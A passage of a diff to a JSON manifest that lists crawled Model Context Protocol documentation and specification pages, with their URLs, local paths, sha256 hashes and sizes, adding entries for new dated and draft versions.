+ "sha256": "e4351968091963149171b8eff93b50f461833a39f60c6582ee5ac2c6f6601d71",
+ "size": 97349
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/build-with-agent-skills",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/build-with-agent-skills.md",
+ "sha256": "1ced0bdbb73174fb1118be5150a90741a1907a748261e0b353b735e3d72f31d9",
+ "size": 5129
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/clients/client-best-practices",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/clients/client-best-practices.md",
+ "sha256": "ff1a27ac8e32972fde52d1075362107b88353d9d077ce0ffbf48e3fb4e63aa9b",
+ "size": 20244
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/connect-local-servers",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/connect-local-servers.md",
+ "sha256": "e26a18f461ac6ecf599f398584969a77c831a5f67ef33d600389ed5dec24f9e2",
+ "size": 13933
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/develop/connect-remote-servers",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/develop/connect-remote-servers.md",
+ "sha256": "429071d99b6731698382eb8814efa911934a561839976d832fcda0a6e726d5bb",
+ "size": 9578
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/getting-started/intro",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/getting-started/intro.md",
+ "sha256": "746cccf0e4c6a08d5c5aac73c68a311239123b883dfadc0ca4e7fcc213349214",
+ "size": 3250
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/learn/architecture",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/learn/architecture.md",
+ "sha256": "342f1c66b14d0004db872b47448b9a1a5990a0a7741ce892790453830b68e8ba",
+ "size": 25817
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/learn/client-concepts",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/learn/client-concepts.md",
+ "sha256": "115db3baac9f72af2b824fa4865ee8f7b58b679c9cb48985e6ad1bfda5268de1",
+ "size": 14553
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/learn/server-concepts",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/learn/server-concepts.md",
+ "sha256": "ef2f64a210b8306f1d0a3d495197770d54d3791e125757e8d0b18d567d081315",
+ "size": 14684
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/learn/versioning",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/learn/versioning.md",
+ "sha256": "2ff58b53ce5de82fade66dc6a4be49d6d7caf3e6ff5944084dc4f760719f5eeb",
+ "size": 2091
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/sdk",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/sdk.md",
+ "sha256": "c3c7e778917e193932f696f7e38960305021c96ec24e21de0c726ea159de80bc",
+ "size": 4364
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/tools/debugging",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/tools/debugging.md",
+ "sha256": "c5b5cc703e1739967327cc0237b232610e785720e69c298e3a8074fe80770846",
+ "size": 10202
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/tools/inspector",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/tools/inspector.md",
+ "sha256": "45345532538259aa2e7e6acf090dd72763685e5df22070056c745079d7d7d09b",
+ "size": 4246
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/tutorials/security/authorization",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/tutorials/security/authorization.md",
+ "sha256": "9ce62a4997dd19f259a61bd58ad447ccfe292ed020668cb2e970712cdcdffd36",
+ "size": 47690
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2025-11-25/tutorials/security/security_best_practices",
+ "status": "success",
+ "path": "mcp/docs/2025-11-25/tutorials/security/security_best_practices.md",
+ "sha256": "27dfdc9c8fb0f29750e52d64797077bc1ba01f25a0d584e3189954f47a2601c7",
+ "size": 37327
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/build-client",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/build-client.md",
+ "sha256": "68db92dd2b9ad07afd1a51259312152df0db8b55b8c4af65daaf019d4901848e",
+ "size": 80847
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/build-server",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/build-server.md",
+ "sha256": "071c2cfbf251132ec5b7c11f7e55aa16c0c021a6f425c420b0f40f15bf65be8a",
+ "size": 97692
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/build-with-agent-skills",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/build-with-agent-skills.md",
+ "sha256": "e21f2612c35f674fbc288ba5ad08f14b5a71b1d3e4142d83ada43fa52d234404",
+ "size": 5129
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/clients/client-best-practices",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/clients/client-best-practices.md",
+ "sha256": "4aef578fdf1b65f156bd322326a57952677cadce631759f52c84f1b1e8d4cdf9",
+ "size": 20667
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/connect-local-servers",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/connect-local-servers.md",
+ "sha256": "4285516d216fbd74839238bee3d1b8d160f1f89152bd90cc522b116b44232d15",
+ "size": 14044
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/develop/connect-remote-servers",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/develop/connect-remote-servers.md",
+ "sha256": "d465a66f5605e743ba8113f897a5bb529b22c423838f8aa5199ece89dd8cc8d0",
+ "size": 10761
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/getting-started/intro",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/getting-started/intro.md",
+ "sha256": "40fa98855f88971d23d4820a8d74d903691b160e934dd73b9047f010ecfdee7b",
+ "size": 3250
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/learn/architecture",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/learn/architecture.md",
+ "sha256": "c35ae31222f730ce87adf9344172f8406c51021a34e8c248269fa50fe5e34ae1",
+ "size": 32772
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/learn/client-concepts",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/learn/client-concepts.md",
+ "sha256": "768a7b253473a03f18617fd71a555739beca5f3239527971abd534db7f377c59",
+ "size": 17979
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/learn/server-concepts",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/learn/server-concepts.md",
+ "sha256": "4d6bcdd8a919ef84546fe41d08c8b33648228b9766979c9091aa98a0c64c5771",
+ "size": 15016
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/learn/versioning",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/learn/versioning.md",
+ "sha256": "a11a40b8e19ae216a8422b609f8e8eaef765989ab305c78e4644011d869469c8",
+ "size": 3222
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/sdk",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/sdk.md",
+ "sha256": "0f2d9fd309d404e4e75e6503fc6a7bbd98f86b5d45c65cff6369520d3b5b6cc1",
+ "size": 4364
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/tools/debugging",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/tools/debugging.md",
+ "sha256": "4234cd04183e10eada0e160e1699471e0a6e494fdde3d1fb5b97c3f5a7702bf3",
+ "size": 11015
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/tools/inspector",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/tools/inspector.md",
+ "sha256": "70696a58168d414b2a42a10ef79db4df8e53e8a722b64ccc2592e75abfa38c83",
+ "size": 4242
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/authorization",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/tutorials/security/authorization.md",
+ "sha256": "c86e20f84d1bea839c24bce726b6104002c43139abe5bab02d1aba6d5b2842af",
+ "size": 49679
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices",
+ "status": "success",
+ "path": "mcp/docs/2026-07-28/tutorials/security/security_best_practices.md",
+ "sha256": "d0fc0dc7ac40df6fce85ef036b3ac5d9a1b8ae87b25a674e0a2ec866217745fe",
+ "size": 42824
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/build-client",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/build-client.md",
+ "sha256": "107e6ae3f76357b9de13f980cd3b1ebd0dc577974bd5df141401466c1729028d",
+ "size": 80832
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/build-server",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/build-server.md",
+ "sha256": "2a2be459db1edef83f5977b2fa4e10676761e0e6e306d5e8c6df650634253c05",
+ "size": 97612
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/build-with-agent-skills",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/build-with-agent-skills.md",
+ "sha256": "f3f99ef4050a3c1bd27dd1a140fd86751bde537ffd1f331d7c137e8f14071965",
+ "size": 5099
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/clients/client-best-practices",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/clients/client-best-practices.md",
+ "sha256": "8c855903496e35db163646564ec361c1934aa148668780690ca8811cb2829408",
+ "size": 20642
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/connect-local-servers",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/connect-local-servers.md",
+ "sha256": "8e6d810fc37e87610fdbbb0c7a688f9dfc8fb616ce907eee6bb3a4d10bacb402",
+ "size": 14024
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/develop/connect-remote-servers",
+ "status": "success",
+ "path": "mcp/docs/draft/develop/connect-remote-servers.md",
+ "sha256": "0b0a528c8cba27f32998bf8daf9807027b173ee6599b18ddf6174cc1e54f1a95",
+ "size": 10751
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/getting-started/intro",
+ "status": "success",
+ "path": "mcp/docs/draft/getting-started/intro.md",
+ "sha256": "90cf51bcb85e6cdfbe30a30ed4e9c164f34d0b818ee71834e6e277334f3c593c",
+ "size": 3235
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/learn/architecture",
+ "status": "success",
+ "path": "mcp/docs/draft/learn/architecture.md",
+ "sha256": "26c4a49bbeea45c0ad3b9a4bf2b8cde0d4aeeb0be6f3b8e0e59d5b5493e26026",
+ "size": 32707
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/learn/client-concepts",
+ "status": "success",
+ "path": "mcp/docs/draft/learn/client-concepts.md",
+ "sha256": "4b6aa74c194fb0c5a2ff0d71972294a2007fd6df53bb2d8b2231b95274dd44c5",
+ "size": 17954
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/learn/server-concepts",
+ "status": "success",
+ "path": "mcp/docs/draft/learn/server-concepts.md",
+ "sha256": "43a76389ff3746846295a07da430df7838172e540811c007da90c45743208e52",
+ "size": 15011
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/learn/versioning",
+ "status": "success",
+ "path": "mcp/docs/draft/learn/versioning.md",
+ "sha256": "4ca87d6a66765fe1ebea0eddd5a439629b8f087834eb3a929c11109c31e2d8eb",
+ "size": 3192
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/sdk",
+ "status": "success",
+ "path": "mcp/docs/draft/sdk.md",
+ "sha256": "7de575ba30ad051f21f27a2ae8c4221c38e375df1b854a03450cc8574b88b1ce",
+ "size": 4354
+ },
+ {
+ "url": "https://modelcontextprotocol.io/docs/draft/tools/debugging",
+ "status": "success",
+ "path": "mcp/docs/draft/tools/debugging.md",
+ "sha256": "0868dadaee38c259ab5a33b10422c57012d34de42bdc9173c2d57ea90f7d35ed",
+ "size": 10920
},
{
- "url": "https://modelcontextprotocol.io/docs/tools/inspector",
+ "url": "https://modelcontextprotocol.io/docs/draft/tools/inspector",
"status": "success",
- "path": "mcp/docs/tools/inspector.md",
- "sha256": "1a94fd07ff9f422b6bc94fcbe1ef0d81f5c0c8e1085d241274a5790e821ee40c",
- "size": 4220
+ "path": "mcp/docs/draft/tools/inspector.md",
+ "sha256": "ac6fd8aa19fba8aee95f643dca9c746dd2e027497926589f6d8ec5485c6465d1",
+ "size": 4232
},
{
- "url": "https://modelcontextprotocol.io/docs/tutorials/security/authorization",
+ "url": "https://modelcontextprotocol.io/docs/draft/tutorials/security/authorization",
"status": "success",
- "path": "mcp/docs/tutorials/security/authorization.md",
- "sha256": "65f52bf02cb9d7e2ad83081a3bc2ee4c7736dbfcb3e425596c17be7c1e8fc1e9",
- "size": 49892
+ "path": "mcp/docs/draft/tutorials/security/authorization.md",
+ "sha256": "d1daeb73897611e5e04d70ca39f3ca76caa0812bd5324df0ccbf5bb9db3b3d1d",
+ "size": 49654
},
{
- "url": "https://modelcontextprotocol.io/docs/tutorials/security/security_best_practices",
+ "url": "https://modelcontextprotocol.io/docs/draft/tutorials/security/security_best_practices",
"status": "success",
- "path": "mcp/docs/tutorials/security/security_best_practices.md",
- "sha256": "d59e5c41ce9db8c3aa7464394a1decef1f0436e22f80c8e181ce85cdf6b9c0a9",
- "size": 37311
+ "path": "mcp/docs/draft/tutorials/security/security_best_practices.md",
+ "sha256": "f935e611d6d7ae1e659b1fb9654a992e5fab63a0adc47f638ca8a00cc4e2dff2",
+ "size": 42779
},
{
"url": "https://modelcontextprotocol.io/examples",
@@ -5378,43 +5945,43 @@
"url": "https://modelcontextprotocol.io/extensions/auth/enterprise-managed-authorization",
"status": "success",
"path": "mcp/extensions/auth/enterprise-managed-authorization.md",
- "sha256": "4975906bcff347a46c7da105e305ab9e2aadee00792d491ff7b9d53a660017af",
- "size": 8696
+ "sha256": "f3a91c6d40f884daba09f55d7443f8b1cdd3fd169f9de739365d0621596c2af6",
+ "size": 8893
},
{
"url": "https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials",
"status": "success",
"path": "mcp/extensions/auth/oauth-client-credentials.md",
- "sha256": "fc817679af33ce94f567fc278f36c25c6b016163a5e04be100d2113f273979a5",
- "size": 11923
+ "sha256": "1b4e4a1069c800066f2b310bf29311b321772216110620805c00dde813a8a371",
+ "size": 14213
},
{
"url": "https://modelcontextprotocol.io/extensions/auth/overview",
"status": "success",
"path": "mcp/extensions/auth/overview.md",
- "sha256": "8876a56f3079115f63de54e9e83c6ec7bcdaa084b98e2cf8880249ff63c84378",
- "size": 4004
+ "sha256": "d211410f548d76e3d02adf42adc5f69827bc01ebeda68a92988e3c6b97bc99f0",
+ "size": 4156
},
{
"url": "https://modelcontextprotocol.io/extensions/client-matrix",
"status": "success",
"path": "mcp/extensions/client-matrix.md",
- "sha256": "3c6b89e4f1f987a2bd081f366c6641cdf7c8bdb3de6def5a5bd448e28f0ca13c",
- "size": 6382
+ "sha256": "3eeef53c07c600283266d1bdc38ae22dc60f5884ea524663c3f310effa6a9ea6",
+ "size": 6565
},
{
"url": "https://modelcontextprotocol.io/extensions/overview",
"status": "success",
"path": "mcp/extensions/overview.md",
- "sha256": "85be91a50f6aee0d7389b001a7c44e68903e92fc156dfcd66d7d40d31040fd12",
- "size": 8827
+ "sha256": "6826c39f36fe04d477ab5a0e25a3d694ab44c1e4907333ba0aa6b38c192962e6",
+ "size": 9103
},
{
"url": "https://modelcontextprotocol.io/extensions/tasks/overview",
"status": "success",
"path": "mcp/extensions/tasks/overview.md",
- "sha256": "54420ce4c499bdd537be3a10cc5c7eb8c5dbc8e5712fc9fecfad8952ec0ebed5",
- "size": 9902
+ "sha256": "ba73582e95eb6190418f8d3d723b680624c44bbd7e319c4fce04f0b69b024f95",
+ "size": 10289
},
{
"url": "https://modelcontextprotocol.io/registry/about",
@@ -5434,7 +6001,7 @@
"url": "https://modelcontextprotocol.io/registry/faq",
"status": "success",
"path": "mcp/registry/faq.md",
- "sha256": "b2626e628221c2d6d83dc0c88fd4961e098e4787317c5d5bc9077ba326af679f",
+ "sha256": "65be5b21cde343b0e6234d3b5f58c8b28648133f06e0bdfc0e192b00ebb177a1",
"size": 2448
},
{
@@ -5476,8 +6043,8 @@
"url": "https://modelcontextprotocol.io/registry/remote-servers",
"status": "success",
"path": "mcp/registry/remote-servers.md",
- "sha256": "ed83c6eff942a2e96a354bda43d534923b8e85c741e81e4c0353f640366f9e92",
- "size": 5312
+ "sha256": "cfcc68373feaccc343260222caee504f162e2ed0505ce1960f118c0f3c892b1e",
+ "size": 5411
},
{
"url": "https://modelcontextprotocol.io/registry/terms-of-service",
@@ -5567,8 +6134,8 @@
"url": "https://modelcontextprotocol.io/seps/1686-tasks",
"status": "success",
"path": "mcp/seps/1686-tasks.md",
- "sha256": "17a2f5253dc6a4b9da809584c5188f4f8dcdd23596a0f89a54990f4d1fff0e73",
- "size": 65049
+ "sha256": "7cc14cd98c099351c224d3f107a0e8fde21cef4b7ea0c3e251497071526251e7",
+ "size": 65413
},
{
"url": "https://modelcontextprotocol.io/seps/1699-support-sse-polling-via-server-side-disconnect",
@@ -6204,8 +6771,8 @@
"url": "https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization",
"status": "success",
"path": "mcp/specification/2025-11-25/basic/authorization.md",
- "sha256": "b5eaaf20d167e073d93bfbdfdc6e3f643bf12d9adeddf28e121c23dc13ff21c3",
- "size": 41647
+ "sha256": "bb322b24c3aa5d4e613b9f420719273c71151b71e418187f3460480ffe0f7675",
+ "size": 41643
},
{
"url": "https://modelcontextprotocol.io/specification/2025-11-25/basic",
@@ -6347,6 +6914,223 @@
"sha256": "e59fbe4c002a467a3fad723d73d74275d2cfa6a068b0fa060be83c6a2d064954",
"size": 2598
},
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/architecture",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/architecture.md",
+ "sha256": "a5b862e50f21355f9285c1ccb28c19baa8f7c02d2244bbe96bbb721b25ca768b",
+ "size": 6394
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/authorization-server-discovery",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/authorization/authorization-server-discovery.md",
+ "sha256": "10fbd1c72f65f316a04f39736c8e2d159d6a35a39c6584d1ca3b007a8a558775",
+ "size": 8155
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/client-registration",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/authorization/client-registration.md",
+ "sha256": "5011e00834cb76c0e84b858762d39a5a5b481159d0a2cf63d7dc916889f27e3d",
+ "size": 10229
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/authorization.md",
+ "sha256": "3da515b6f536b4fafa65c2ff56dd3a99488285e652984e6bd00d3bec012d1efd",
+ "size": 25881
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization/security-considerations",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/authorization/security-considerations.md",
+ "sha256": "53c351dc92f8e4598212f56dcf31cd92eb4db4e3a2edc5eee616a97b5c928a67",
+ "size": 10074
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic.md",
+ "sha256": "94f185aa6e27b1e481f0f88fa5e2a995759af3db77e23dc967858fe8461ee77c",
+ "size": 25399
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/cancellation",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/patterns/cancellation.md",
+ "sha256": "5ad380cae6ee6f29f63210694de90400c2aa84efaddc1c8f3f286ea3a36664a3",
+ "size": 4627
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/patterns.md",
+ "sha256": "a5ac156c3489fc8da38a28a8196d96260f8afb31e04667aa25db8ec0836268e5",
+ "size": 3169
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/mrtr",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/patterns/mrtr.md",
+ "sha256": "63515016cc25058abfd50e8cb33b018a0d3318f8a0e9c0be6755bf7169aac35f",
+ "size": 13629
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/progress",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/patterns/progress.md",
+ "sha256": "47866943e1f4ff0c8e79250ce6ff633545ca41d3ec7e45fe4d5367ca817084bd",
+ "size": 2707
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/subscriptions",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/patterns/subscriptions.md",
+ "sha256": "6a8e317e10d292ccf931ad323c81a9f9cdd78002db7367c5112b8726f06ab9ac",
+ "size": 6215
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/transports",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/transports.md",
+ "sha256": "9d541c583a2769feb38298bba7d19c6d5897b4b6ea329c49da88a436c724dd8c",
+ "size": 4232
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/stdio",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/transports/stdio.md",
+ "sha256": "a021917cb77ecd936143aced4fd243e12dd7b5f9a9344546742df97a381277f5",
+ "size": 7352
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/transports/streamable-http.md",
+ "sha256": "761f1cd04bfdc4f2c16a362502725ea684341cb7ad99607df927017713af19fc",
+ "size": 31525
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/basic/versioning",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/basic/versioning.md",
+ "sha256": "28c417b3c38345ae8350b9be20ed1b53fcec564b65c13c25d96ab9cfe7e44e9f",
+ "size": 11518
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/changelog",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/changelog.md",
+ "sha256": "e05eb7fcecc34f94c96a27ed8b19f9a90e56dbd2a18cb57c71787bf7366dd50c",
+ "size": 11887
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/client/elicitation",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/client/elicitation.md",
+ "sha256": "44086e7052a20b4e72b643c8cecb76b55b168ab14d616ebc3ec984a23f29d811",
+ "size": 28660
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/client/roots",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/client/roots.md",
+ "sha256": "eb7641345727acbb6f4cc5ccac071553062c1ae4a559c3eedf44d56809744dd4",
+ "size": 4718
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/client/sampling",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/client/sampling.md",
+ "sha256": "b7207c57ba18190af66e6df7a02b40f1dc331791b193129c457d83d91d74343a",
+ "size": 22225
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/deprecated",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/deprecated.md",
+ "sha256": "e8658e6a9afb1c8731dfcaa41d128494776989d0177c9e25a493c6d71468e7d6",
+ "size": 5204
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28.md",
+ "sha256": "d3b1d410de0a0f9f7d617c0e0c778b444081b5f8f3b4e5f1e32214c2656e7c73",
+ "size": 5812
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/schema",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/schema.md",
+ "sha256": "c877bcbc6a26793d48a0c20cb3e7d4ef1cbb2d41cb194b3b73127ac561809bc3",
+ "size": 701659
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/discover",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/discover.md",
+ "sha256": "331489cd2984399cfe4828357fdd5a23e062ef40f69f4815499b055b51e2b82c",
+ "size": 3835
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server.md",
+ "sha256": "56ad1c56a1718c3fc77233d4696954cffa1e5a216eafee19bf96c5c73f77b000",
+ "size": 1726
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/prompts",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/prompts.md",
+ "sha256": "a73afd2caa6c737eba1508c87e41ffa8a8348d01f4942f416ffe52174a89070e",
+ "size": 10037
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/resources",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/resources.md",
+ "sha256": "ae4500b744b95d1f6d5bddc3875250920a9bf154c4d09bdf4e40375917ffb8a5",
+ "size": 13544
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/tools",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/tools.md",
+ "sha256": "09be49a064940ef288b47f8df09e95e6e3dc087c3f94e466acd60ec66dff25c3",
+ "size": 24314
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/caching",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/utilities/caching.md",
+ "sha256": "ce9def97b4ded14fc2fc490eae652ae2625f758c1f538007522bac82043d4ff1",
+ "size": 9166
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/completion",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/utilities/completion.md",
+ "sha256": "80ae5006afba968f29f5132e681a7530e3332fe3ca6fa4bd86019d6d82f62076",
+ "size": 5597
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/logging",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/utilities/logging.md",
+ "sha256": "c4b54a69f35a99a62884581e27f1508886226f7672ed33d430f31d846c6b52bb",
+ "size": 4671
+ },
+ {
+ "url": "https://modelcontextprotocol.io/specification/2026-07-28/server/utilities/pagination",
+ "status": "success",
+ "path": "mcp/specification/2026-07-28/server/utilities/pagination.md",
+ "sha256": "38e266b78191c0ffdcc00cde80bcb87b6ac0dfb1afd477e4fdcc6baf74e1fc96",
+ "size": 3206
+ },
{
"url": "https://modelcontextprotocol.io/specification/draft/architecture",
"status": "success",
@@ -6372,22 +7156,22 @@
"url": "https://modelcontextprotocol.io/specification/draft/basic/authorization",
"status": "success",
"path": "mcp/specification/draft/basic/authorization.md",
- "sha256": "b8cfbc8e744330c5a2371c6b170125528bdf01b4b07ace0be2b95917cb98d510",
- "size": 27712
+ "sha256": "337be172b697e33cd4a8ade797e0f8d01e5a5b39023d386ebae9fc9e3bf640ca",
+ "size": 25831
},
{
"url": "https://modelcontextprotocol.io/specification/draft/basic/authorization/security-considerations",
"status": "success",
"path": "mcp/specification/draft/basic/authorization/security-considerations.md",
- "sha256": "237cbfeb73ac3e71cae98911c99b83b1e1f56b4f09f2f43f0a3226483993b3dd",
- "size": 12422
+ "sha256": "3a7f3a432d7d3491dddbf6acf9f62407b149a893cea088dba7a97775c10f289c",
+ "size": 10054
},
{
"url": "https://modelcontextprotocol.io/specification/draft/basic",
"status": "success",
"path": "mcp/specification/draft/basic.md",
- "sha256": "c1abc8b34651141cb6231a9698d041a480cbd87b24ca80032f422f273a60d52f",
- "size": 25238
+ "sha256": "feef74e50332d45a4bc1b9af539565fb284704b224065bc50e5dd3879e5b768e",
+ "size": 25244
},
{
"url": "https://modelcontextprotocol.io/specification/draft/basic/patterns/cancellation",
@@ -6456,15 +7240,15 @@
"url": "https://modelcontextprotocol.io/specification/draft/changelog",
"status": "success",
"path": "mcp/specification/draft/changelog.md",
- "sha256": "2050e3c5089eb539daa4cf91ae68d38ea895d1f4642f7bcdecb76a014f7a49a9",
- "size": 11852
+ "sha256": "9fe308265476745673781c221837c990164fdb101da54fd6887763d48d02a00e",
+ "size": 259
},
{
"url": "https://modelcontextprotocol.io/specification/draft/client/elicitation",
"status": "success",
"path": "mcp/specification/draft/client/elicitation.md",
- "sha256": "ac41d9f0dc212fc1065ac569b7c6817ae22716f8a090b5667a3e3adbe41c2075",
- "size": 28621
+ "sha256": "dfd12c1909e962168446ba731e425507b64ed7245cf62c3eee657793cb0fa30f",
+ "size": 28645
},
{
"url": "https://modelcontextprotocol.io/specification/draft/client/roots",
@@ -6498,8 +7282,8 @@
